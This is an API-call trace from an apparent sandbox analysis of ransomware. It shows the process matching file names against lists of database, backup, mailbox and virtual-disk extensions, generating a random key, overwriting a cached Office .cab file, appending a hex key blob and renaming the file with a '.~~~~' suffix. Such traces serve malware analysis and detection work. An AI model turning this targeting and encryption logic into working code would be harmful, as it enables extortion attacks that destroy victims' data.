	[0077.361] lstrlenW (lpString=".OST") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".OST") returned 0x0
	[0077.361] lstrlenW (lpString=".dbx") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbx") returned 0x0
	[0077.361] lstrlenW (lpString=".DB3") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DB3") returned 0x0
	[0077.361] lstrlenW (lpString=".DAT") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DAT") returned 0x0
	[0077.361] lstrlenW (lpString=".VHDX") returned 5
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".VHDX") returned 0x0
	[0077.361] lstrlenW (lpString=".ndf") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ndf") returned 0x0
	[0077.361] lstrlenW (lpString=".DB") returned 3
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DB") returned 0x0
	[0077.361] lstrlenW (lpString=".sql") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sql") returned 0x0
	[0077.361] lstrlenW (lpString=".MYD") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MYD") returned 0x0
	[0077.362] lstrlenW (lpString=".DBT") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBT") returned 0x0
	[0077.362] lstrlenW (lpString=".ACCDB") returned 6
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ACCDB") returned 0x0
	[0077.362] lstrlenW (lpString=".fdb") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".fdb") returned 0x0
	[0077.362] lstrlenW (lpString=".bak") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bak") returned 0x0
	[0077.362] lstrlenW (lpString=".myd") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".myd") returned 0x0
	[0077.362] lstrlenW (lpString=".DTXS") returned 5
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DTXS") returned 0x0
	[0077.362] lstrlenW (lpString=".ckp") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ckp") returned 0x0
	[0077.362] lstrlenW (lpString=".dbt") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbt") returned 0x0
	[0077.362] lstrlenW (lpString=".db") returned 3
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".db") returned 0x0
	[0077.362] lstrlenW (lpString=".TXT") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".TXT") returned 0x0
	[0077.362] lstrlenW (lpString=".MDF") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MDF") returned 0x0
	[0077.362] lstrlenW (lpString=".bdb") returned 4
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bdb") returned 0x0
	[0077.362] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.362] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.363] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.364] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.364] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.364] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19735407569) returned 1
	[0077.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98024670, dwHighDateTime=0x1d60e1e)) 
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5b8
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab228
	[0077.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab228 | out: hHeap=0x300000) returned 1
	[0077.365] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.365] GetLastError () returned 0x0
	[0077.365] GetLastError () returned 0x0
	[0077.365] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.365] GetLastError () returned 0x0
	[0077.365] GetLastError () returned 0x0
	[0077.366] ReadFile (in: hFile=0x128, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.371] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.371] WriteFile (in: hFile=0x128, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.373] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.373] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.375] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.375] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.375] CloseHandle (hObject=0x128) returned 1
	[0077.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.~~~~")) returned 1
	[0077.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0077.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.385] GetLastError () returned 0x0
	[0077.385] RtlWakeConditionVariable () returned 0x365f70
	[0077.385] GetCurrentThreadId () returned 0x3a4
	[0077.385] GetCurrentThreadId () returned 0x3a4
	[0077.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab378 | out: hHeap=0x300000) returned 1
	[0077.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac938 | out: hHeap=0x300000) returned 1
	[0077.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab378
	[0077.386] lstrlenW (lpString=".scr") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0077.386] lstrlenW (lpString=".cmd") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0077.386] lstrlenW (lpString=".dll") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0077.386] lstrlenW (lpString=".bat") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0077.386] lstrlenW (lpString=".cpl") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0077.386] lstrlenW (lpString=".sys") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0077.386] lstrlenW (lpString=".msc") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0077.386] lstrlenW (lpString=".com") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0077.386] lstrlenW (lpString=".lnk") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0077.386] lstrlenW (lpString=".msp") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0077.386] lstrlenW (lpString=".pif") returned 4
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0077.386] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.386] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0077.387] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.387] lstrlenW (lpString=".sqb") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0077.387] lstrlenW (lpString=".ost") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0077.387] lstrlenW (lpString=".txt") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0077.387] lstrlenW (lpString=".mdt") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0077.387] lstrlenW (lpString=".BDB") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0077.387] lstrlenW (lpString=".eql") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0077.387] lstrlenW (lpString=".DBF") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0077.387] lstrlenW (lpString=".EQL") returned 4
	[0077.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0077.388] lstrlenW (lpString=".FDB") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0077.388] lstrlenW (lpString=".EDB") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0077.388] lstrlenW (lpString=".DACPAC") returned 7
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0077.388] lstrlenW (lpString=".VHD") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0077.388] lstrlenW (lpString=".DBV") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0077.388] lstrlenW (lpString=".dacpac") returned 7
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0077.388] lstrlenW (lpString=".sdf") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0077.388] lstrlenW (lpString=".accdb") returned 6
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0077.388] lstrlenW (lpString=".DBX") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0077.388] lstrlenW (lpString=".MDT") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0077.388] lstrlenW (lpString=".SQB") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0077.388] lstrlenW (lpString=".vhd") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0077.388] lstrlenW (lpString=".bac") returned 4
	[0077.388] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0077.389] lstrlenW (lpString=".mdf") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0077.389] lstrlenW (lpString=".BAK") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0077.389] lstrlenW (lpString=".BAC") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0077.389] lstrlenW (lpString=".dbs") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0077.389] lstrlenW (lpString=".vhdx") returned 5
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0077.389] lstrlenW (lpString=".NDF") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0077.389] lstrlenW (lpString=".dat") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0077.389] lstrlenW (lpString=".DBS") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0077.389] lstrlenW (lpString=".CKP") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0077.389] lstrlenW (lpString=".edb") returned 4
	[0077.389] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0077.389] lstrlenW (lpString=".PST") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0077.390] lstrlenW (lpString=".dbf") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0077.390] lstrlenW (lpString=".SQL") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0077.390] lstrlenW (lpString=".pst") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0077.390] lstrlenW (lpString=".dbv") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0077.390] lstrlenW (lpString=".SDF") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0077.390] lstrlenW (lpString=".dtxs") returned 5
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0077.390] lstrlenW (lpString=".db3") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0077.390] lstrlenW (lpString=".OST") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0077.390] lstrlenW (lpString=".dbx") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0077.390] lstrlenW (lpString=".DB3") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0077.390] lstrlenW (lpString=".DAT") returned 4
	[0077.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0077.391] lstrlenW (lpString=".VHDX") returned 5
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0077.391] lstrlenW (lpString=".ndf") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0077.391] lstrlenW (lpString=".DB") returned 3
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0077.391] lstrlenW (lpString=".sql") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0077.391] lstrlenW (lpString=".MYD") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0077.391] lstrlenW (lpString=".DBT") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0077.391] lstrlenW (lpString=".ACCDB") returned 6
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0077.391] lstrlenW (lpString=".fdb") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0077.391] lstrlenW (lpString=".bak") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0077.391] lstrlenW (lpString=".myd") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0077.391] lstrlenW (lpString=".DTXS") returned 5
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0077.391] lstrlenW (lpString=".ckp") returned 4
	[0077.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0077.392] lstrlenW (lpString=".dbt") returned 4
